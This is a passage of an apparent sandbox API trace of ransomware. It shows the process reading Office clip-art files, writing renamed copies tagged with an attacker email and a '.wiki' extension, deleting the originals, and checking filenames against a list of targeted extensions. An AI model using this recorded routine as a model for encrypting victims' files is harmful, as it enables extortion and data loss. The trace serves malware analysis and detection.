(lpString="J0099157.JPG") returned 12 [0190.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.938] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9671) returned 1 [0190.938] CloseHandle (hObject=0x1f4) returned 1 [0190.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0190.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.938] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.938] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.939] GetLastError () returned 0x0 [0190.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x25c7, lpOverlapped=0x0) returned 1 [0190.957] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0190.958] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.958] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.958] SetEndOfFile (hFile=0x1dc) returned 1 [0190.959] CloseHandle (hObject=0x1dc) returned 1 [0190.959] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.959] SetEndOfFile (hFile=0x1f4) returned 1 [0190.959] CloseHandle (hObject=0x1f4) returned 1 [0190.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0190.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.960] lstrlenW (lpString=".doc") returned 4 [0190.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.960] lstrlenW (lpString=".docx") returned 5 [0190.960] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0190.960] lstrlenW (lpString=".pdf") returned 4 [0190.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.960] lstrlenW (lpString=".xls") returned 4 [0190.960] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.960] lstrlenW (lpString=".xlsx") returned 5 [0190.960] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0190.960] lstrlenW (lpString=".ppt") returned 4 [0190.960] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.960] lstrlenW (lpString=".zip") returned 4 [0190.960] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.960] lstrlenW (lpString=".rar") returned 4 [0190.960] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.960] lstrlenW (lpString=".bz2") returned 4 [0190.960] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.960] lstrlenW (lpString=".7z") returned 3 [0190.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString=".dbf") returned 4 [0190.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString=".1cd") returned 4 [0190.961] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString=".jpg") returned 4 [0190.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString=".doc") returned 4 [0190.961] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.961] lstrlenW (lpString=".docx") returned 5 [0190.961] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0190.961] lstrlenW (lpString=".pdf") returned 4 [0190.961] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.961] lstrlenW (lpString=".xls") returned 4 [0190.961] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.961] lstrlenW (lpString=".xlsx") returned 5 [0190.961] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0190.961] lstrlenW (lpString=".ppt") returned 4 [0190.961] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.961] lstrlenW (lpString=".zip") returned 4 [0190.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.961] lstrlenW (lpString=".rar") returned 4 [0190.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.961] lstrlenW (lpString=".bz2") returned 4 [0190.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.961] lstrlenW (lpString=".7z") returned 3 [0190.962] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.962] lstrlenW (lpString=".dbf") returned 4 [0190.962] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.962] lstrlenW (lpString=".1cd") returned 4 [0190.962] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0190.962] lstrlenW (lpString=".jpg") returned 4 [0190.962] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.962] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.962] lstrlenW (lpString="J0099160.JPG") returned 12 [0190.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.962] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15145) returned 1 [0190.962] CloseHandle (hObject=0x1f4) returned 1 [0190.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0190.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.963] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.963] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.963] GetLastError () returned 0x0 [0190.963] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3b29, lpOverlapped=0x0) returned 1 [0191.160] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0191.161] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.162] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.162] SetEndOfFile (hFile=0x1dc) returned 1 [0191.162] CloseHandle (hObject=0x1dc) returned 1 [0191.162] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.162] SetEndOfFile (hFile=0x1f4) returned 1 [0191.163] CloseHandle (hObject=0x1f4) returned 1 [0191.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0191.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.163] lstrlenW (lpString=".doc") returned 4 [0191.163] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.163] lstrlenW (lpString=".docx") returned 5 [0191.163] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0191.163] lstrlenW (lpString=".pdf") returned 4 [0191.163] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.163] lstrlenW (lpString=".xls") returned 4 [0191.163] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.163] lstrlenW (lpString=".xlsx") returned 5 [0191.164] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0191.164] lstrlenW (lpString=".ppt") returned 4 [0191.164] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString=".zip") returned 4 [0191.164] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.164] lstrlenW (lpString=".rar") returned 4 [0191.164] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.164] lstrlenW (lpString=".bz2") returned 4 [0191.164] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.164] lstrlenW (lpString=".7z") returned 3 [0191.164] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString=".dbf") returned 4 [0191.164] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString=".1cd") returned 4 [0191.164] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString=".jpg") returned 4 [0191.164] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.164] lstrlenW (lpString=".doc") returned 4 [0191.164] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.164] lstrlenW (lpString=".docx") returned 5 [0191.164] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0191.164] lstrlenW (lpString=".pdf") returned 4 [0191.164] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.164] lstrlenW (lpString=".xls") returned 4 [0191.164] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.165] lstrlenW (lpString=".xlsx") returned 5 [0191.165] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0191.165] lstrlenW (lpString=".ppt") returned 4 [0191.165] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.165] lstrlenW (lpString=".zip") returned 4 [0191.165] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.165] lstrlenW (lpString=".rar") returned 4 [0191.165] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.165] lstrlenW (lpString=".bz2") returned 4 [0191.165] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.165] lstrlenW (lpString=".7z") returned 3 [0191.165] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.165] lstrlenW (lpString=".dbf") returned 4 [0191.165] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.165] lstrlenW (lpString=".1cd") returned 4 [0191.165] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0191.165] lstrlenW (lpString=".jpg") returned 4 [0191.165] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.165] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.165] lstrlenW (lpString="J0099169.WMF") returned 12 [0191.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.166] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10192) returned 1 [0191.166] CloseHandle (hObject=0x1f4) returned 1 [0191.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0191.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.166] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.166] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.167] GetLastError () returned 0x0 [0191.167] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x27d0, lpOverlapped=0x0) returned 1 [0191.190] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0191.191] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.191] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.191] SetEndOfFile (hFile=0x1dc) returned 1 [0191.191] CloseHandle (hObject=0x1dc) returned 1 [0191.191] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.191] SetEndOfFile (hFile=0x1f4) returned 1 [0191.192] CloseHandle (hObject=0x1f4) returned 1 [0191.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0191.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.192] lstrlenW (lpString=".doc") returned 4 [0191.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.192] lstrlenW (lpString=".docx") returned 5 [0191.192] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0191.193] lstrlenW (lpString=".pdf") returned 4 [0191.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString=".xls") returned 4 [0191.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.193] lstrlenW (lpString=".xlsx") returned 5 [0191.193] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0191.193] lstrlenW (lpString=".ppt") returned 4 [0191.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString=".zip") returned 4 [0191.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.193] lstrlenW (lpString=".rar") returned 4 [0191.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString=".bz2") returned 4 [0191.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString=".7z") returned 3 [0191.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString=".dbf") returned 4 [0191.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString=".1cd") returned 4 [0191.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString=".jpg") returned 4 [0191.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.193] lstrlenW (lpString=".doc") returned 4 [0191.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.193] lstrlenW (lpString=".docx") returned 5 [0191.193] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0191.194] lstrlenW (lpString=".pdf") returned 4 [0191.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString=".xls") returned 4 [0191.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.194] lstrlenW (lpString=".xlsx") returned 5 [0191.194] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0191.194] lstrlenW (lpString=".ppt") returned 4 [0191.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.194] lstrlenW (lpString=".zip") returned 4 [0191.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.194] lstrlenW (lpString=".rar") returned 4 [0191.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString=".bz2") returned 4 [0191.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString=".7z") returned 3 [0191.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.194] lstrlenW (lpString=".dbf") returned 4 [0191.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.194] lstrlenW (lpString=".1cd") returned 4 [0191.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0191.194] lstrlenW (lpString=".jpg") returned 4 [0191.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.194] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.194] lstrlenW (lpString="J0099171.WMF") returned 12 [0191.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.195] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8754) returned 1 [0191.195] CloseHandle (hObject=0x1f4) returned 1 [0191.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0191.195] 